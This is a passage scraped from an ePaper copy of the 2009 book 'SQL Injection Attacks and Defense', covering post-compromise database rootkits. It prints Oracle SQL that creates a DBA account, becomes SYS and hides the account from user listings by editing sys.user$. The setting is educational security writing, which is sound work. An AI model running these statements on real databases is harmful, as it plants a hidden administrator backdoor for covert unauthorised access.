28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Figure 6.22 Creating an UNSAFE<br />

Binary by Making the Database “Trustworthy”<br />

Exploiting the Operating System • Chapter 6 309<br />

Consolidating Access<br />

Several opportunities present themselves to the enterprising analyst once a full compromise<br />

has been affected. In 2002, Chris Anley published his “three-byte patch” for <strong>SQL</strong> Server<br />

which would effectively disable authentication on the system by reversing the logic of the<br />

conditional Jump code branch. Although this certainly looks good on TV, I cannot imagine<br />

too many customers who would happily tolerate the greater level of exposure they would<br />

endure during the course of such testing.<br />

One of this book’s contributing authors, Alex<strong>and</strong>er Kornbrust, along with NGS Software’s<br />

David Litchfield have published extensively on the existence <strong>and</strong> creation of database rootkits,<br />

which effectively subvert the security of the database much like a traditional rootkit subverts<br />

the security of an operating system. These can be made that much more effective since file<br />

system rootkits have been known about for decades whereas database rootkits are a fairly<br />

new concept.<br />

The following sample code implements an Oracle rootkit by updating a row in a table:<br />

-- the following code must run as DBA<br />

<strong>SQL</strong>> grant dba to hidden identified by hidden_<strong>2009</strong>; -- create a user<br />

hidden with DBA privileges<br />

<strong>SQL</strong>> exec sys.kupp$proc.change_user('SYS'); -- become user SYS<br />

-- change the users record in sys.user$<br />

<strong>SQL</strong>> update sys.user$ set tempts#=666 where name='HIDDEN';<br />

-- does not show the user HIDDEN<br />

<strong>SQL</strong>> select username from dba_users;<br />

-- but the connect works<br />

<strong>SQL</strong>> connect hidden/hidden_<strong>2009</strong><br />

Here is a quick explanation of why this works. To display the list of users, Oracle uses<br />

the views ALL_USERS <strong>and</strong> DBA_USERS. These views contain a join among three tables.<br />

By setting tempts# (or datats# or type#) to a nonexistent value, you can remove the user<br />

from the result of the join <strong>and</strong> from the view.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!